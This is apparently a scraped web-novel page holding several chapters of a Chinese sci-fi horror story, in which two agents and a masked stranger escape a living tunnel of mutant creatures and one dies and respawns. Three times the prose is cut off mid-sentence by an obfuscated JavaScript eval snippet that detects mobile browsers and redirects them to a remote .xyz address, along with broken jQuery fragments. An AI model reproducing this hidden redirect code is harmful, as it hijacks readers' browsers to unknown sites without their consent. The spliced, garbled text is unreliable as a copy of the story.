借着微弱的光线,他们勉强能看清来者的轮廓——那是一个高大的、人形的生物,但它的脑袋……不、 那不是脑袋。 那是一整个黑色的、油滑的疙瘩,像是未完全成形的蝌蚪头部,表面布满了黏稠的液体,偶尔还会蠕动一下。 【检测到辐射,已屏蔽辐射,作战服耐性,73%。】 它的身体勉强保持着人类的形状,但皮肤上布满了凹凸不平的疙瘩,像是被强行拼接在一起的肉块。 每走一步,它的脚底都会发出“啪嗒”声,仿佛踩在湿滑的表面上。 【作战服耐性,70%。】 曾云安显然也听到了作战服耐性不断下降的提示,他缓缓抬起手,短棍的武器系统启动,蓝光在黑暗中一闪。 “小心——” “砰!” 话音未落,一声沉闷的撞击突然从蝌蚪人的脑后传来。 一根生锈的钢管从它的“脑袋”中刺穿而出,黑色的液体顺着钢管滴落,发出“滴答、滴答”的声音。 蝌蚪人的身体一僵,黑色的“头颅”剧烈颤抖了几下,随后“啪”地一声崩裂开来。 绿色的黏液溅了一地,它的身体开始剧烈痉挛,像是一滩腐败的肉块,被无形的力量扭曲着,最后“砰”地倒在地上,溅起一片污浊的血污。 在蝌蚪人倒下的瞬间,一道影子从阴影中走了出来。 13. 蠕动隧道4 那人穿着一身破旧的防护服,从头到脚都包得严严实实。他脸上戴着一个锈迹斑斑的金属头盔,眼部的位置嵌着一个暗红色的光学镜片,在昏暗的通道里发出幽幽的光。 他握着刚刚刺穿蝌蚪人的那根钢管,警惕地站在通道尽头,像是在观察他们。 他不动,辛来和曾云安也不敢动。 作战服的辐射指数停止下降,辛来的危险直觉却依旧隐隐作响。 他是谁? 伪态生物?还是人类? 如果是人的话......他是被困在负相区里的人,还是误闯进来的? “检测生命体征。” 曾云安低声说道,作战系统“哔”了一声,检测结果在目镜上迅速跳出—— 【检测到生命,生命体初步判定为……无法判定。】 曾云安皱起眉:“无法判定?什么意思?” 【请注意,金属等阻碍物会影响探测精度,请确保环境质量。】 换句话说,这个人的金属装备干扰了系统的探测。 通道里安静得可怕。 时间一分一秒地过去,双方僵持不下,谁也没有轻举妄动。 忽地,那人率先开了口:“天王盖地虎......?” 那人的声音藏在面罩后面,辨不清男女。辛来和曾云安同时愣了下:“啥?” “嘶……这个暗号太老了吗......” 虽然看不清脸,但能明显看出来对方十分苦恼,他低声嘀咕了几句,随即又试探性地说:“奇变偶不变?挖掘技术哪家强?宫廷玉液酒?” 辛来:? 曾云安:?? “不行,这些也太老了......”他一边说着一边往前迈了一步,正好一束光打在他的头盔上,那生锈的金属竟然反射出了锃亮的光芒,“你们......相信光吗?” 不知道为什么,辛来有种他下一秒就会变身成什么超级英雄的错觉。 面罩人却仿佛没有察觉他们的无语,头盔下的红光微微闪烁了一下,他歪了歪头,思考了几秒,随后突然迈开步子,朝两人走了过来。 “喂,等等——”曾云安抬起手,短棍的蓝光在黑暗中闪烁,战斗系统已经启动。 “别紧张,我不是敌人。”面罩人举起双手,示意自己没有恶意,他的声音透过面罩显得沉闷而沙哑,语气里甚至带着一丝困惑,“我只是想问问……你们是怎么进来的?” 辛来和曾云安对视了一眼,谁都没有立刻回答。 他们的胸盔上明晃晃地印着联邦调查组的树纹标识,可面罩人的态度却像是完全不认识,又或者——他根本不在意。 但按照他刚才杀死蝌蚪人的利落手法来看,他不可能是误闯进负相区的普通人。 即使是刚进入这里的人,也起码掌握了基本的生存规则。 面罩人似乎并不意外他们的戒备,他自顾自地继续说道:“这里很危险,不能呆太久。” 逃生通道的灯光齐齐闪烁了一下,幽幽的红光在墙壁上忽明忽暗,如同濒死的烛火,挣扎着维持最后一丝光亮。 身后的安全门忽地发出了“砰”一声巨响。 “哎哟!吓死我了!” 曾云安没关公共频道,他的惊呼声震耳欲聋地蹿进辛来的耳机,吓得她下意识抖了一下。 她迅速侧头,却忽然觉得有些不对劲。 ——曾云安……怎么变了个人似的? 他本来虽然莽撞,但在任务中还能保持几分冷静,甚至偶尔还能插科打诨缓解紧张气氛。可现在,他的眼神里完全没有之前的轻松,取而代之的,是一种近乎偏执的紧张。 一米八几的大高个,竟然畏畏缩缩地弓着背,看起来莫名地胆小。 辛来心里泛起了一丝细微的违和感。 ——有四个月工作经验的人也会这样? 但她还没来得及细想,安全门后,青蛙人的声音又幽幽地响起:“带我一起……” 声音支离破碎,像是刀片刮过金属,刺耳凄厉。 那几个重复的字眼不断地回荡在狭窄的通道里,像是一条卡带损坏的录音机,反反复复地播放着腐朽的低语。 门缝下,污泥正在渗透进来。 黑色的泥水在地面缓缓聚拢,蠕动着,逐渐凝结成四根趾间开叉的脚蹼。 辛来条件反射地一脚踩了上去,“噗嗤”一声,淤泥飞溅。可几秒钟后,它又缓缓聚合起来了。 ——那只青蛙根本死不了! 通道的灯光猛烈地闪了一下。 辛来眼前一花,余光间仿佛看到墙壁......动了一下。 她愣住,手下意识地贴上了墙面——冰冷的金属,表面布满了锈迹和裂痕,没有任何异常。 “错觉......?” 危险直觉没有消失,反而愈发强烈。 辛来快速唤醒了系统:“检测辐射指数。” 【辐射指数,59%;辐射等级,中等。】 中等!? 刚才在安全通道外面时是47%上下,现在竟然升到了59%。安全通道里面的辐射比外面还要更强? 里面的伪态生物......会比外面更多吗? 站在旁边的面罩人陡然抬起了头,头盔下的红光骤然闪烁了一下,语气也变得急促:“快走!通道要变得不稳定了!” 通道深处的墙壁泛起了涟漪,像是一滴墨水落进水中,黑色的波纹缓缓扩散。 金属墙壁的表面开始颤动,红色的灯光投射在墙上,阴影被拉长、扭曲、变形,仿佛整个通道正在缓慢地收缩—— 不。 不是收缩。 ——是通道在变形。 【检测到辐射,已屏蔽辐射,作战服耐性,68%。】 曾云安明显也察觉到了异常,他的胳膊开始微微发抖,可半天都没有动静,辛来等不及了,推了他一下:“走啊!怎么愣着!” 曾云安像是这个时候才回过神来,陡然打了个颤,连连点头:“走...对,先走!” 面罩人没有废话,他大步向前,步伐稳健且迅速,显然对这种突发情况早有经验。 他们在狭窄的逃生通道中疾行,脚步声在昏暗的空间里回荡。 通道的动静越来越大。 原本残破的墙壁渗出了红黑色的淤泥,黏稠而缓慢地流淌下来。 淤泥的表面布满了细小的气泡,偶尔还会“噗”地一声爆开,溅出的液体落到地面,冒出了一股股青烟。 通道的蠕动越来越明显,墙壁和天花板仿佛在缓缓收缩,像是什么巨型生物的消化道。红黑色的淤泥从四面八方渗出,逐渐在地面上汇聚成一片黏稠的沼泽。 墙壁的裂痕在缓缓闭合。 “啪嗒——啪嗒——” 那只青蛙人重新长好了身体,却似乎因为缺少了零部件而变得样貌奇怪。 它的身体佝偻着,整张脸扭曲成一团,排列位置全都错乱了。 它的前肢长在肚皮上,后腿只剩一只,眼球歪歪斜斜地嵌在脸上,嘴巴仍然在张合,发出清晰的声音:“姐姐……带上我……带上我一起走!带上我!” 它的声音变得不再像卡带,而是变成了尖锐的啸叫。它狠狠蹬腿,弹射而来。 辛来后颈一凉,危险直觉瞬间飙升,她几乎是本能地抬手一刀劈了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943251|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通道狭窄,青蛙人却仿佛能适应这里的环境,它在墙壁上一蹬,竟然灵活地避了过去。 辛来的刀砍在墙上,墙面骤然发出一声低沉的蠕动声,墙面的金属一阵收缩,淤泥四溅。 “姐姐!姐姐!你跑不了!!带我走!你必须带我走!!” 青蛙人狂吼着,再度张嘴冲来。 ——“噗嗤!” 血液溅出。 面罩人提着那根锈迹斑斑的铁棍,一棍捅进了青蛙人的眼睛。 黑色的血飙溅,青蛙发出一声尖锐的嘶吼,身体剧烈颤抖了几下,往后面跳去。 跟着那只青蛙一起叫起来的还有面罩人:“呜哇哇哇啊啊啊啊——恶心死了!!!好恶心啊啊啊啊——!!” 他一边甩着手上的黑色血迹,一边疯狂地后退,头盔下的红光闪烁得更加频繁。 辛来:? “别这么看我!”面罩人语气里带着一丝不满,“我只是……对这种黏糊糊的东西有点过敏。” 她本以为这个面罩人对负相区之类的情况有所了解,毕竟他刚才的表现还算镇定,甚至对现下情况有所了解。 可现在看来,看着他一边疯狂甩手一边大喊“恶心死了”的样子,辛来心里不禁生出了一丝怀疑。 ——这家伙真的靠谱吗......? 他到底是什么人? 负相区的幸存者?被困在这里许久、侥幸活下来的人?还是——特意进入这个地方的? 又或者…… “啊、” 辛来忽地想起来了个词汇。 ……不会也是另一个世界过来的“玩家”吧?? 刚想到这里,通道的淤泥里传来低沉的响声,好像有什么东西正在里面蠕动。 墙皮下,露出了不属于金属的东西。 那是扭曲的黑色肉块,仿佛被撕裂、剥离的组织,被一层层地拼接进墙壁的结构中。 黑色的血丝像脉络一样攀附在墙面上,缓缓扩张,像是巨大的活体正在逐步苏醒。 辛来盯着那片墙面,呼吸一窒。 墙壁……是活的? 墙壁是活的,还是通道是活的? 又或者......整个隧道都是伪态生物的一部分? 不对,等等。 曾云安呢? 辛来的大脑瞬间拉响警报,她猛地回头。 一路上叨叨不停的曾云安,现在却一反常态地安静。 他整个人缩在角落,背靠着墙,呼吸急促,肩膀微微抽动着,手里的短棍......短棍?? 辛来一懵:“你武器呢?” 曾云安抬起头,眼神茫然了一瞬:“什……什么武器?” 他结结巴巴,眼神飘忽不定,通道再次发出一阵蠕动的声响,他竟然像被电击了一样,直接蹦了起来,惊恐地大喊:“我靠!!!” 辛来眯了眯眼,心底的违和感终于彻底浮出水面。 曾云安……这么胆小? 可刚才在通道外面,他不是这样的。 他的性格虽然莽撞,确实有时候会嘴上抱怨几句,但他在紧张环境下是能保持理智的。可现在…… 现在的曾云安,像个吓破胆的普通人。 ——他根本不像个执行过负相区任务的人。 辛来的“危险直觉”一直在隐隐作响,她的目光再次扫向他腰间,心中忽地一惊。 他的作战服……裂了一道细小的口子。细小到——如果不是光线闪烁,她甚至不会注意到。 “曾云安!查一下你作战服的耐性!”她大声喊道。 “什么耐性?什么耐性!呜呜呜呜我想回家我想我妈妈——” 14. 蠕动隧道5 曾云安的声音里带着明显的哭腔,完全没有了之前的冷静和果断,辛来心一沉。 她迅速靠近曾云安,目光紧盯着他腰间的那道裂口。裂口的边缘泛着一种不自然的黑色,如同墨水渗进纤维,一点点吞噬着原本的颜色。 “你的作战服破了。”她低声说道,语气里带着一丝不安,“你……你有没有感觉到什么异常?” 曾云安哆哆嗦嗦地抱着头,声音听起来茫然又无助:“我不知道……呜呜呜,好累,好害怕……我想回家……” 辛来皱起眉,直接唤醒了作战系统:“检查曾云安作战服耐性。” 【无法连接,用户:曾云安,请尝试重连。】 辛来:......大爷的,这真的只是D级任务区吗? 还有联邦这发的是什么防护服啊!不是说好了纳米纤维防穿透吗!怎么一划就破啊! 曾云安的作战服可能是刚才在隧道里时裂开的,伤口感染会对精神状态造成一定程度的影响。 辛来的手心开始冒汗,心里却沉甸甸地异常冷静——准确点讲,是拔凉拔凉的,所以自然就物理意义地“冷”静下来了。 整个逃生通道都在蠕动,被刺穿的青蛙人再次凝聚起来。 核不知道在什么地方,面罩人也不知道是敌是友——或许他可以暂时性成为一条绳上的蚂蚱,但连对方是男是女来自哪里都不知道,谁又能确保一切。 曾云安看起来精神状态不算太好。 他手里不知道什么时候抓起了一只电弧脉冲瓶,整个人缩在角落,连腿都在发抖。 辛来二话不说先给他打了一针精神修复剂和一针愈合剂,大力拍了他一巴掌,扯着他就接着往前跑去:“别愣着了!快走!” 三十六计跑为上计,不管怎么样,先逃命再说。 “哎哟我去!!” 精神修复剂的效果生效了,曾云安鬼叫了一声,声音清醒了不少。 “我……我在干嘛?!我刀呢?!” ——逃命的速度倒是挺快。 身后突然响起了一声沉闷的“咚”,仿佛有什么东西从地面之下被一点点推了出来。 辛来猛地回头。 地板,在鼓起。 然后,一颗光滑的黑色脑袋,从裂缝中钻了出来。 它的皮肤像是泡在机油里太久,表面湿滑而光泽。黑色的黏液沿着皮肤缓缓滑落,滴在地面上,发出“滴答”声。 它的眼睛巨大,瞳孔细如针线,泛着一种不自然的红光。 嘴巴裂开到耳根,露出锋利的金属牙齿,牙齿间还夹着腐烂的肉丝。 刚才的那只蝌蚪没死? 还是说这又是新的一只? 通道仿佛没有尽头,昏暗的灯光在远处逐渐消失,只剩下无尽的黑暗。 目镜里的地图指示开始变得奇怪,自身红点闪烁的位置竟渐渐地移出了地图线条,飘在原本没有路的地方。 辛来一惊,背脊发寒:“通道在改变位置吗?” 面罩人也是一愣,转头看向了她:“你有地图?” 辛来:“有,但现在没有了。” 自身所在的红点压根不在地图的任何方位,作战系统不能连接克雷特的网络,更不可能同步现在能走的方向。 地图已经失效,通道在扭曲,它们被困在了这个不断变化的“活体迷宫”里。 “我就说我怎么总走不出去!”面罩人骂道,“我饶了起码几百圈了!都没找到出口!” 辛来又是一愣:“您不认路啊!?” 面罩人:“我什么时候说过我认路啊!我不是还问你们怎么进来的吗!?我以为你们知道出口在哪呢!” 辛来:“......” 不早说啊! 原来你问的怎么进来的是怎么进逃生通道的而不是进负相区的啊!? 走得那么理直气壮我还以为你开了什么金手指知道出口在哪呢! 辛来:“那你怎么不从入口出去啊!” 面罩人:“入口外面都是怪物啊!谁敢从那里出去啊!” ……好有道理。 无从反驳。 辛来有一瞬间觉得自己好像被说服了。 ——不行,冷静......辛来,冷静。 面罩人也靠不住,幻想的“金手指”压根不存在。 辛来强迫自己冷静下来,好好分析情况。 现在情况有三。 第一,安全通道在改变位置;第二,通道受到刺激会皱缩;第三,通道里有目前为止肉眼可见的两只伪态生物—— “啊、” 现在只剩下一只了。 就在两秒前,青蛙人一口咬住了那只蝌蚪的身体。 “不开门......” “那我就自己进来——” 蝌蚪人发出一声凄厉的尖叫,身体剧烈颤抖了几下,随后被青蛙彻底吞了下去。 青蛙人的身体开始迅速变化,原本残缺的四肢重新长了出来,皮肤上的黏液变得更加黏稠,牙齿也变得更加锋利。 它的眼睛泛着不自然的红光,嘴巴裂开到耳根,露出锋利的金属牙齿,嘴角还挂着一丝黏稠的唾液。 它缓缓抬起头,嘴巴裂得更大,瞳孔死死地盯着他们,口中呢喃着…… “姐姐……” 辛来心里却蓦地一沉:“姐姐......?” 青蛙人的嘴巴开始疯狂地重复。 “姐姐怎么可以......自己离开呢?” “姐姐们怎么可以自己离开呢!” “姐姐们的东西就是我的东西啊!” “姐姐们怎么可以自己离开呢!” “怎么可以自己离开呢!” “不带我走......” “不带我走!那我就自己进来——” 呢喃变成了尖叫,尖叫变成了大吼,那吼声贯穿了整个隧道,一遍遍呜咽着徘徊。 怎么办? 通道没有尽头,青蛙人紧追不舍。曾云安状态不稳定,面罩人身份不明。 该怎么办? 那栋破旧的土房子忽然闪过脑海。 灰蒙蒙的墙壁,矮旧的屋檐,阳光洒在田野间,风吹过庄稼地,带起一阵淡淡的尘土味。 她看到高楼,车流,西装革履的人群。 看到银行,ATM机,余额变成“0”的账户。 最后——又回到了那栋土房子里。 黄若南,黄如南,黄秋南,黄恩惠。 那枚纽扣—— 刚才拿起纽扣时看到了片段记忆,而纽扣是攻击青蛙时掉下来的。如果那枚纽扣属于这只青蛙人,那么...... 辛来陡然停下了脚步。 伪态生物是从人变化而成的,而变成了伪态生物的人仍旧会无意识地做出和“生前”一样的举动。 那举动可能是执念,也可能是无意识地形成了习惯的东西。 比如周三金在恪守厂长订好的准时条约,比如反映室门口的那个人在不断地撞击着门,试图刷开秘钥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943252|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再比如那位她短暂地借用了身份的“王智”,即便已经请好了年假,却仍然站在工厂门口,一遍遍地检查着器材。 如果是这样的话...... 如果是这样的话—— “辛来!你疯了?!!” 曾云安吓得猛停,声音瞬间拔高。 面罩人也是一愣,头盔下的红光闪烁了一下,显然没搞懂辛来要干什么。 辛来没有回答,硬着头皮一咬牙,缓缓往回走去。 每一步都像踩在刀尖上,心脏跳得发疼,耳边的危险警示嗡嗡作响,震得脑子发懵。 “冷静……冷静……”她暗暗告诉自己,但手心里已经渗出了冷汗。 一步,两步...... 辛来缓缓站到了青蛙人面前。 通道里一片死寂。 青蛙人没有动。 金黄的巨眼直勾勾地盯着她,瞳孔收缩成一条细线,泛着不自然的红光。 辛来没有说话,只是静静地站着,手指悄悄伸进作战口袋,摸到了火药瓶,冰凉的触感让她稍微镇定了一些。 “姐姐没想抛弃你呀。” 她放轻声音,一字一顿地说道。 辛来其实并不确定自己的计策能不能成,但眼下她想不到什么更好的办法了。 青蛙人眨了眨眼睛。 缓慢,迟钝,像是在思考她的话。 辛来咽了口唾沫,声音更柔了一点:“给你这个——” 她狠狠地将火药瓶扔了过去。 青蛙人条件反射地张开嘴,巨大的口器将火药瓶一口吞了下去。 辛来眼神一凝。 ——成了! 她转身,爆发全速狂奔。 风声呼啸,耳边全是自己的喘息声,辛来能听到自己的心跳,砰砰作响,她用尽全身力气蹬地,每一秒都在拉开距离。 身后,青蛙人像是还没反应过来,迟疑了几秒才意识到自己吞下了什么。 紧接着,火药瓶“轰”地一声爆破。 爆破瞬间点燃了通道深处的火药,狂暴的火光吞没了青蛙人。冲击波从身后扑来,热浪炙烤着皮肤,天花板上的碎片被震碎,钢筋和金属板如同暴雨般坠落。 【检测到辐射,已屏蔽辐射,作战服耐性,60%。】 【检测到爆炸,已过滤热度,作战服耐性,58%。】 作战服的耐性不断下降,辛来一咬牙,再下一刻,手里的电弧脉冲瓶脱手而出。 蓝色电弧撕裂空气,狂暴的高压电流如捕猎的巨蛇一般疯狂蔓延。 通道皱缩,墙壁像是痉挛,天花板塌陷、地面龟裂,空间的每一寸都在收缩——仿佛一张活生生的嘴,正要把爆炸的余波吞噬进腹中。 辛来转身狂奔,嗓音几乎是炸开的:“快跑!” 她不敢回头。 身后的曾云安和面罩人全力跟上,脚步急促,呼吸紊乱,谁都没有说话,谁都没时间说话。 空气里弥漫着焦糊味和金属的腥气,连防护面罩都没办法过滤。 【检测到有毒物质,已过滤有毒物质,作战服耐性,51%。】 ——如果有阻碍,那就除掉阻碍。 如果没有路,那就创造路。 通道没有尽头?路径不断在变? 等着也是死,迎战也是死,往前走没有出口,往后退全是怪物。 反正都是死,那不如破罐子破摔,直接炸条出口来。 辛来朝后方丢出了第二枚电弧脉冲瓶。 15. 蠕动隧道6 电弧脉冲瓶爆发的强电流再次刺激通道,墙壁和天花板向内塌陷,仿佛要把自己吞噬成一团死结。 裂缝崩开,红黑色的淤泥像潮水般疯狂喷涌,腐臭味在空气中翻滚,粘稠的液体溅落地面,发出噗嗤噗嗤的恶心声响。 【检测到辐射,已屏蔽辐射,作战服耐性,48%。】 作战服的耐性直线下滑,脚下的地面也开始猛烈震颤—— 仿佛有什么巨大的东西在内部翻滚,推搡着整个通道痉挛、皱缩、扭曲。 ——但这正是辛来想要的。 如果这条逃生通道是伪态生物的肠道,那它就一定会有生理反射。 排异、挤压、排出。 “坐下!顺着滑下去!” 辛来几乎是喊出来的,声音被周围的震动撕碎,像是卡在空气里一样。 曾云安和面罩人同时一愣,但本能让他们立刻照做,迅速卸力往前一滑—— 下一秒,脚下的地面剧烈倾斜,三人直接顺着淤泥的方向,加速坠下。 “这……这也太恶心了!”曾云安忍不住抱怨了一句,但还没等他说完,地面猛一倾斜,三人直接顺着滑了下去。 “啊啊啊——” 曾云安的尖叫声贯穿整个通道,但很快被更恐怖的蠕动声吞没。 墙壁和天花板以肉眼可见的速度收缩,红黑色的淤泥如汹涌的洪流,带着一股无法言喻的恶臭疯狂追赶,试图把他们彻底吞噬。 辛来紧紧收缩四肢,试图维持平衡,但脚下的地面黏稠、滑腻,像是泡烂的肉块,根本控制不了方向。 她的目镜里地图已经彻底报废,红点被扯出地图范围,正在无意义地闪烁。 “停不下来了!”面罩人惨叫。 就在这时,通道的尽头,一扇厚重的金属门正在缓缓打开,刺眼的光线从门缝中透了出来。 面罩人倒抽了口冷气:“我嘞个亲娘!是出口!” 三人没有犹豫,立刻蜷缩起身体,试图减少冲击力。 “噗嗤——!” 通道的尽头猛地一收缩,下一秒,三人被一股巨大的力量吐了出去。 白光刺眼,瞬间淹没了视线。 通道内的昏暗与外面的强光形成了强烈的对比,辛来的眼睛一时无法适应,眼前只剩下一片模糊的光影。 危险直觉疯狂作响。 警报声像是钉子戳进脑子,尖锐到让人几乎昏厥。辛来努力瞪大眼睛试图恢复视线,但失重感让她的身体完全失去了控制。 她的耳边传来风声,整个人正在急速下坠,周围的一切都模糊不清,像是被强光吞噬的世界。 而就在下一刻,辛来忽地感觉到腰间一痛。 疼痛撕裂神经,白光瞬间崩散,视野恢复清明。 辛来看见了幽长的隧道,看见了堵得严严实实的车,看见了从旁边落下来的面罩人和曾云安—— 面罩人的生锈头盔撞在地上,裂成了两半,长波浪卷从缝隙里散了出来,一张明艳的脸拧成了一团,眉心皱得死紧,狰狞得很。 曾云安四仰八叉,防护胸盔摔歪,搭扣崩开了几个,整个人像个翻了肚皮的龟丞相,看上去毫无尊严可言。 看见了自己的双手,看见了破碎的胸盔,还有...... 〖警告:身体严重受损〗 “啊。” 〖警告:精神屏障严重受损〗 〖精神力残留值:10/[100]〗 没有了。 腰部以下,没有了。 血像河一样涌了满地,肠胃流得到处都是,心脏砰砰直跳,那声音却不是从胸腔里传来的。 辛来怔怔地盯着满地的血迹,缓缓抬起头—— 有着黑色的、油泡过似的脑袋的人伏在那里,咧到耳根的嘴巴在咀嚼着什么,锋利的金属牙齿里渗出了血液。 有一枚纽扣从牙缝里掉了出来。 ——她刚才捡的。 蝌蚪人看着那枚纽扣,咀嚼的动作停了下来。它缓缓地转动着眼睛,眼神随着那枚纽扣一点点落到了辛来的身上。 突然,它长开了嘴巴,发出了一阵低沉而沙哑的声音: “小小蝌蚪水里游,尾巴长长不见头……” 它的声音像是从喉咙深处挤出来的,带着一种湿漉漉的回音。 然后,它把目光转向了她。 〖精神力残留值:8.2/[100]〗 辛来的心忽地一提,脑子里突然闪过那些零碎的画面—— 土房子、庄稼田,绿草如茵。 阳光洒在地上,空气里充满柴火的气息……灶台前站着个女人,女人穿着件棉袄,棉袄被撑得鼓鼓囊囊,仿佛下一秒就要炸开。 “黄若南!你怎么做得饭?饭里怎么有虫子!?” 女人猛一转过头,两只金黄硕大的横条眼占了半张脸。她身后的大锅冒着热气,里面翻滚的不只是肉,还有……别的什么。 〖精神力残留值:7.2/[100]〗 “妈妈,那不是虫子呀。那是......嘿嘿。” “那是弟弟的手指呀。” 〖6/[100]〗 “小小蝌蚪水里游,尾巴长长不见头……” “如南,秋南,妈妈病了,我们逃吧。” “那弟弟呢?” “弟弟被妈妈吃了呀。” 锅底的火焰燃烧,肉香弥漫。 墙上的日历撕了一张又一张,女人躺在床上,肚子一天天地鼓起。 鼓起、鼓起、鼓起…… 〖5.3/[100]〗 “小小蝌蚪水里游,尾巴长长不见头。” “水里游,岸上跳,谁家孩子——不见了?” “妈妈又要生了。” “姐姐,妈妈又要生了。” “她说这次一定是个男孩。” 〖4.1/[100]〗 “水里游,岸上跳,谁家孩子——不见了?” 辛来的意识在下坠。 身体沉进什么黏稠的液体里,四肢被裹住,缓慢地往下沉。 水面上映出自己的影子,眼睛漆黑,嘴角裂开,像是……像是—— 不,不对劲。 辛来猛地回过神。 “他跟上来了!他跟上来了!” “他不是死了吗?” “他不是被妈妈吃掉了吗?” 面罩人摔得龇牙咧嘴,她艰难爬起了身,看过来的那一刻,表情瞬间凝固。 她先是茫然,接着是震鄂,嘴唇微微颤抖,最后发出了一声凄厉的叫喊——可能很凄厉吧——辛来听不见。 〖2.5/[100]〗 “那不是锅里的弟弟。” “那是新的弟弟。” 母亲低下头,抚摸着越来越鼓的肚子,像是抚摸着某种即将孵化的东西。 身体已经麻木,大脑变得滞涩。不断有画面从脑中闪过,不停有声音在耳边回荡。 脑子里嗡嗡作响,意识好像要剥离身体,前面的咀嚼声却格外明显,一下、一下、又一下。 它在吃她吗? 现在嚼到哪里了? 小腿?大腿?腰?还是那没二两肉的屁.股? 〖1.3/[100]〗 “生啊,生啊。” “再多生几个。” 母亲的嘴巴蠕动着,一遍又一遍地呢喃。 她的肚子破开,湿漉漉的小手从里面伸出来,抓住了她的脸。 〖1/[100]〗 “姐姐,怎么可以自己离开呢?” “姐姐,怎么可以丢下我们呢?” 牙齿咀嚼着什么,咯吱作响。 她的视线落在地上,肉块、血水、破碎的肠子,一片狼藉。 吃得头也不抬,她那么好吃吗? 〖0.7/[100]〗 辛来忽然被自己的想法逗笑了。 她控制不住地咧嘴笑了起来,一张开口,血“哗”地就涌了出来。 〖警告:精神力残留值到达临界点,精神状态差,记忆模块即将溃散〗 〖0.4/[100]〗 曾云安几乎是连滚带爬地冲了过来。 公共频道里好像有什么声音,辛来听不见。 〖0.2/[100]〗 视线开始模糊,眼前的画面像是被水浸湿的油画,色块晕染、扭曲、褪色—— 啊,三万块还没拿。 〖0.1/[100]〗 〖0/[100]〗 哔—— 〖警告:数据回收失败,记忆模块无法聚合〗 〖警告:灵魂完整度归零〗 〖警告:意识连接即将中断〗 〖意识连接中断〗 〖意识重连中......〗 〖重连失败〗 〖警告:主线任务即将失败,自动检测道具〗 〖检测道具中......〗 〖检测到可用道具〗 〖是否使用[未知的骸骨x1]?〗 〖是〗〖YES〗 什么......? 什么东西? 〖请即刻作答,否则系统将自动执行〗 代理什么?选择什么?“是”和“YES”?? ……您这根本没有“否”这个选项吧!! 〖无响应,默认执行〗 〖已为您更换[未知的骸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943253|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨]〗 〖已更换为[未知的骸骨]〗 〖身体数值已更新〗 〖已重新承接主线任务〗 〖主线任务进度:10%〗 不是,等会儿? 换了?换什么?怎么换?怎么就换了? 主线任务......? 主线任务这就10%了?之前不还是0.1%吗?? 所以未知的骸骨到底是什么啊啊啊——“啊啊啊!” 曾云安的尖叫声炸响在耳旁,下落的失重感瞬间取代了贯穿神经的麻木。 辛来的心脏一缩,仿佛被人狠狠攥了一把,下一秒,风声在耳边呼啸,身体像是被甩进现实。 一瞬间恢复的视线里闪过了曾云安手忙脚乱的身影,长手长脚挥舞着仿佛一只带着苍蝇头盔的大蜘蛛。 蠕动的通道不断地挤压着扭曲着,防护面罩都遮不住的火药和腐臭味窜入鼻腔。 “停不下来了!” 面罩人的声音从耳旁“唰”一下划了过去。这句话好耳熟,耳熟到辛来几乎能记起来下一句该是什么—— “我嘞个亲娘!是出口!” 她说着看了辛来一眼,面罩上的红光微微一闪,很快又往下滑落了去。 发生了什么? 刚才是什么? 怎么回事? 她怎么......又回来了? 一大串问题挨个凿向了辛来的脑海,危险警示却开始狂响。下半身还在,人也还活着,甚至还没出这条蠕动的通道。 辛来屏住了呼吸,强迫自己冷静下来。通道的白光近在眼前,如果—— 如果刚才的事情是真实发生的,她真的读取了那个不知道搁哪儿的存档点,那么...... 那么如果她什么都不做,通道外面等着她的,一定是死亡。 身体在空中翻滚,失重感和短暂的失明让一切变得混乱,所有信息都被掩盖在白光里。 不想死,不能死,现在还不是死的时候——起码得把这个破任务的三万月薪给拿到手。 或许是短暂失去视线可以让人的其他感官变得更强,辛来从未有一刻觉得自己能将周遭的一切感知得如此清晰。 风声、窸窣声、还有各种杂音一瞬间涌进脑子。 左边有人,右前方有人,斜向下32度角,风——停了一瞬。 ......在那里! 辛来咬紧牙关,几乎是本能地抓住了腰间的棍子,手腕一转,刀刃弹出,直直往斜下方挥刺而去。 “噗嗤——” 黏腻的热流炸开,紧贴着皮肤,一瞬间像是有东西破裂,温热的液体溅在身上。 刀刃切入的触感沉闷又柔软,像是捅进了一团过分湿润的生肉,阻力与滑腻感交织在一起。 光线逐渐变得清晰。 首先看到的是前方摔成一团的两个人。 面罩人的头盔果然裂成了两半,长波浪卷糊了满脸,狼狈不堪。 曾云安四仰八叉,再怎么看,都还是像个大海龟,毫无尊严可言。 危险警示还在叫嚣,却没有刚才那么狂躁。 辛来慢慢低下头,视线落在自己的刀刃下。 有一只软趴趴的蝌蚪人,被从上到下劈成了两半。 蝌蚪油滑的脑袋裂成了两半,黑色的黏液顺着刀刃缓缓流下。 它的嘴巴依然在一张一合,发出断断续续的声音。 